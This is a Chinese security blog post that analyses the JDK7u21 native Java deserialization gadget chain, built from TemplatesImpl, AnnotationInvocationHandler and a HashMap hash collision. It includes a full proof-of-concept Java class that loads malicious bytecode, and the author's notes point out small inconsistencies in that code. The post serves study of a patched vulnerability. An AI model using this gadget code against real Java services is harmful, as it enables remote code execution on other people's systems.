• [Java反序列化]jdk原生链分析


    jdk原生链分析

    原文链接

    作为jdk中目前发现的原生链,还是有必要要分析这个用法的。全文仅限尽可能还原挖掘思路

    JDK7u21

    在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位于jdk源码中的一段Gadget:getOutputProperties()->newTransformer()->getTransletInstance()->...

    templatesImpl利用回顾:

    1. 加载对象需要是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的实现类
    2. 需要设置_name,_bytecodes
    3. _tfactory属性在高版本需要设置,jdk7u21中不是必须,看jdk版本而言-》defineTransletClasses

    其中只要能触发上述任意一个函数的,都可以完成TemplatesImpl的动态加载字节码功能。1.所以我们看jdk中是否有调用这三个函数?

    还记得sun.reflect.annotation.AnnotationInvocationHandler嘛?这可是java反序列化中的重要角色。而jdk7u21算是对其利用的再挖掘。

    为了简单直接,我把反编译的代码中的var变量替换了自定义变量

    //AnnotationInvocationHandler.java
    private Boolean equalsImpl(Object var1) {
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            Method[] methods = this.getMemberMethods();//获取this.type的所有方法
            int methods_num = methods.length;
    
            for(int var4 = 0; var4 < methods_num; ++var4) {
                Method var5 = methods[var4];
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//判断var1是否是代理类
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);	//调用任意方法
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }
    
                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }
    
            return true;
        }
    }
    
    private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }
    
        return this.memberMethods;
    }
    

    到这里,可以看到this.memberMethods可控,到现在也就是说如果能让AnnotationInvocationHandler调用equalImpl方法,且控制其中的memberMethods,就可以完成任意方法的调用了。

    2.怎么触发equalsImpl?

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else {
            ......
        }
    }
    

    关键逻辑:如果代理对象调用了equals方法,且满足equals方法有且仅有一个Object类型的参数。

    当前exp,成功触发

    //read evil bytecode-2
    FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");
    
    int available = is.available();
    byte[] bytes = new byte[available];
    is.read(bytes,0,available);
    
    //construct TemplatesImpl
    TemplatesImpl templates = new TemplatesImpl();
    
    Class<? extends TemplatesImpl> clazz = templates.getClass();
    
    Field bytecodes = clazz.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(templates,new byte[][]{bytes});
    
    Field name = clazz.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"Aur0ra");
    
    Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());
    
    //set anno.type
    setValue(anno,"type",TemplatesImpl.class);
    
    unsetFinal(anno,"memberMethods");
    setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});
    
    Map map = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);
    map.equals(templates);
    

    3.接下来就是想办法怎么触发equals方法,且参数可控

    要求反序列化中会进行equals方法的,直接可以去全局搜索,这里借用codeql的话就很香了。

    4.这里就直接丢出目前链子的利用点,直接采用hashMap之类的?为什么采用这个类呢?

    //HashMap.java
    public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }
    
        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }
    

    map类在反序列化时肯定进行put操作,这时,我们直接看put方法。其中会有equals操作,前提是key的hash相等,但key不等,相当于就是做hash碰撞》》》也就是让proxy的hash与Templates的hash相等

    yso中巧妙的构造hash-->参照<java 安全漫谈>

    final int hash(Object k) {
     int h = 0;
     if (useAltHashing) {
         if (k instanceof String) {
             return sun.misc.Hashing.stringHash32((String) k);
         }
         h = hashSeed;
     }
    
     h ^= k.hashCode();
    
     // This function ensures that hashCodes that differ only by
     // constant multiples at each bit position have a bounded
     // number of collisions (approximately 8 at default load factor).
     h ^= (h >>> 20) ^ (h >>> 12);
     return h ^ (h >>> 7) ^ (h >>> 4);
    }
    

    可以看到,hash就是直接调用了对象的hashCode方法生成的。

    但对象templates的hashcode是一个native方法,每次计算都会变动。所以现在只能看Proxy的hash计算了,需要让proxy的hash动态等于tempaltesimpl的hash

    private int hashCodeImpl() {
     int var1 = 0;
    
     Entry var3;
     for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
         var3 = (Entry)var2.next();
     }
    
     return var1;
    }
    

    它的计算方式就是累加 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

    关键点:由于0异或任何等于任何数,此时如果让key的hash等于0,而value等于templatesImpl,那最后不就一直相等了嘛

    for (long i = 0; i < 99999999L; i++) {
     if (Long.toHexString(i).hashCode() == 0) {
         System.out.println(Long.toHexString(i));
     }
    }
    

    得到了一个f5a5a608,使得((String)var3.getKey()).hashCode()==0,所以我们只需要将AnnotationHandler中的Map添加一组map.put("f5a5a608", templates);即可。

    5.利用逻辑梳理

    hashMap#put->hashcode相等,所以直接调用AnnotationInvocationHandler#equalsImpl->再就是上面分析的利用

    image

    6.附上分析结果(有些赘余,此处略优化

    package sec.aur0ra;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    
    import javax.xml.transform.Templates;
    import javax.xml.transform.TransformerConfigurationException;
    import java.io.ByteArrayInputStream;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.lang.annotation.Annotation;
    import java.lang.annotation.Retention;
    import java.lang.reflect.*;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Gadget {
        public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
            //read evil bytecode-1
            //InputStream is = Aur0ra.class.getResourceAsStream("Aur0ra.class");
    
            //read evil bytecode-2
            FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");
            
            int available = is.available();
            byte[] bytes = new byte[available];
            is.read(bytes,0,available);
    
            //construct TemplatesImpl
            TemplatesImpl templates = new TemplatesImpl();
    
            Class<? extends TemplatesImpl> clazz = templates.getClass();
    
            Field bytecodes = clazz.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            bytecodes.set(templates,new byte[][]{bytes});
    
            Field name = clazz.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"Aur0ra");
    
            Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
            declaredConstructor.setAccessible(true);
            Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());
    
            //set anno.type
            setValue(anno,"type",TemplatesImpl.class);
    
            unsetFinal(anno,"memberMethods");
            setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});
    
            Map proxy = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);
    
            HashMap map = new HashMap();
            map.put("f5a5a608", templates);
    
            unsetFinal(anno,"memberValues");
            setValue(anno,"memberValues",map);
            
            HashMap hashMap = new HashMap();
            hashMap.put(templates,templates);
            hashMap.put(proxy,123);
    
        }
    
        public static void setValue(Object obj,String filed,Object value){
            try {
                Field declaredField = obj.getClass().getDeclaredField(filed);
    
                declaredField.setAccessible(true);
    
                declaredField.set(obj,value);
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    
        public static void unsetFinal(Object obj,String field) throws NoSuchFieldException, IllegalAccessException {
            Class<?> aClass = obj.getClass();
            Field declaredField = aClass.getDeclaredField(field);
    
            Field modifiers = declaredField.getClass().getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            modifiers.set(declaredField,declaredField.getModifiers()&~Modifier.TRANSIENT);
        }
    }
    

    疑点重重

    1. 为什么采用TemplatesImpl#newTransformer,而不直接采用getTransletInstance?

      你试试就知道了。是因为最后调用时,getTransletInstance是private方法,无法被触发,所以采用了newTransformer,当然采用getOutputProperties也是可以的。

    2. 为什么很多地方给的不是hashmap而是LinkedHashSet等?

      采用LinkedHashSet是因为它重新进行put时,会按照既定的顺序,会直接影响利用结果。这里的话,似乎影响不大,但也有可能出现错误。

    3. type需要使用Templates.class,而不是TemplatesImpl.class

    修复与分析

    1. 为什么jdk7u21前的版本中,不是Annotation类照样可以成功运行exp呢?

      image

      可以看到,这里type已成功赋值为目标Class对象,所以下面return的时候,不影响序列化的结果。

      这里留个疑问:为什么明显目标需要是private final Class<? extends Annotation> type;,而这里放了一个TemplatesImpl在里面,这不是不合乎语法嘛?

    2. 官方修复操作

      image

    ​ 如果不一致,就直接抛出异常,从而结束执行。

    如果抛出异常被try-catch处理后,特殊情况下是不是会存在被利用的可能性呢?

    拓展分析

    1. jdk的很多版本都是并行开发的,那是不是说有可能这个jdk7u21在其他版本的jdk中也存在呢?

    ​ 通过对比开发时间,jdk8出来时(2017年),这个已经被修复了,所以以上就不存在利用了。那是不是jdk<jdk7都存在这个洞呢?也不是,因为是并行开发的,jdk6或者其他版本也是在更新迭代,所以也只有部分jdk6或者其他版本收到影响。

    JDK8u20

    好像和上面留的思路一致,就是利用try-catch机制,处理异常,并继续运行put操作。

    关键点:beancontextsupport

    这里就先不做分析了,更多的是涉及序列化处理的操作。再另一篇文章分析。

    参考

    java 安全漫谈

    jdk8u20反序列化分析


    __EOF__

  • 本文作者: Aur0ra
  • 本文链接: https://www.cnblogs.com/Aurora-M/p/16286193.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    数字电路和模拟电路-10时序逻辑电路的分析和设计
    [VUE3] Element Plus 增删拆改页组件拆解
    java计算机毕业设计大学校友信息管理系统源码+系统+lw文档+mysql数据库+部署
    全排列的代码
    二叉树的深度
    【C++】string类模拟实现下篇(附完整源码)
    解决Spring Boot 2.7.16 在服务器显示启动成功无法访问问题:从本地到服务器的部署坑
    近似熵 样本熵 模糊熵
    【学习笔记】软件工程概述
    杭电多校-Shortest Path in GCD Graph-(二进制容斥+优化)
  • 原文地址:https://www.cnblogs.com/Aurora-M/p/16286193.html